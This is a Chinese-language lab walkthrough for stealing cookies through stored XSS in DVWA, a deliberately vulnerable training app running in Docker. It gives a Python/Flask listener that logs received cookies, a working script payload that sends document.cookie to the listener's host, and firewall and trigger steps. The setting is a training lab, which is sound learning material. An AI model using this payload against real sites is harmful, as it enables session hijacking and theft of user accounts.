使用存储型 XSS 窃取 cookie 并发送到你控制的服务器
🧪 第一步:准备监听服务接收 cookie
在你的本机(非容器)或 DVWA 所在主机运行以下 Python 监听代码,用于接收窃取的 cookie:
启动 HTTP 接收服务
# 在本机终端运行,监听 8081 端口(确保防火墙允许)
python3 -m http.server 8081
注意:CentOS 7 默认开启了 firewalld,你需要允许 8081 端口访问:
firewall-cmd --add-port=8081/tcp --permanent
firewall-cmd --reload
确认能访问你的监听服务器:
curl http://《监听机IP》:8081
或者你也可以用 Flask 搭建更真实的监听:
# listener.py
from flask import Flask, requestapp = Flask(__name__)@app.route('/log')
def log():cookie = request.args.get('c')print(f"Stolen cookie: {cookie}")return '', 204if __name__ == '__main__':app.run(host='0.0.0.0', port=8081)
运行:
python3 listener.py
🧪 第二步:注入 Payload 到 DVWA 的 Stored XSS 页面
1.拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
2.打开浏览器访问你的 DVWA:http://localhost:8080/vulnerabilities/xss_s/
3.将以下 payload 作为留言输入:
🍪 Cookie 窃取 Payload:
<script>new Image().src="http://<你的主机IP>:8081/log?c="+document.cookie;
</script>
替换 <你的主机IP> 为你运行监听服务的真实 IP 地址。容器里访问主机可以用:
Linux 宿主:172.17.0.1
Windows/macOS Docker:host.docker.internal(需要开启端口映射)
✅ 第三步:触发注入点
1.提交留言后,访问该页面会触发脚本
2.你监听服务的终端中应会看到类似输出:
Stolen cookie: security=low; PHPSESSID=abcd1234xyz
如果能看到 cookie 值被打印,就说明 成功窃取 cookie 并 exfiltrate 出去了。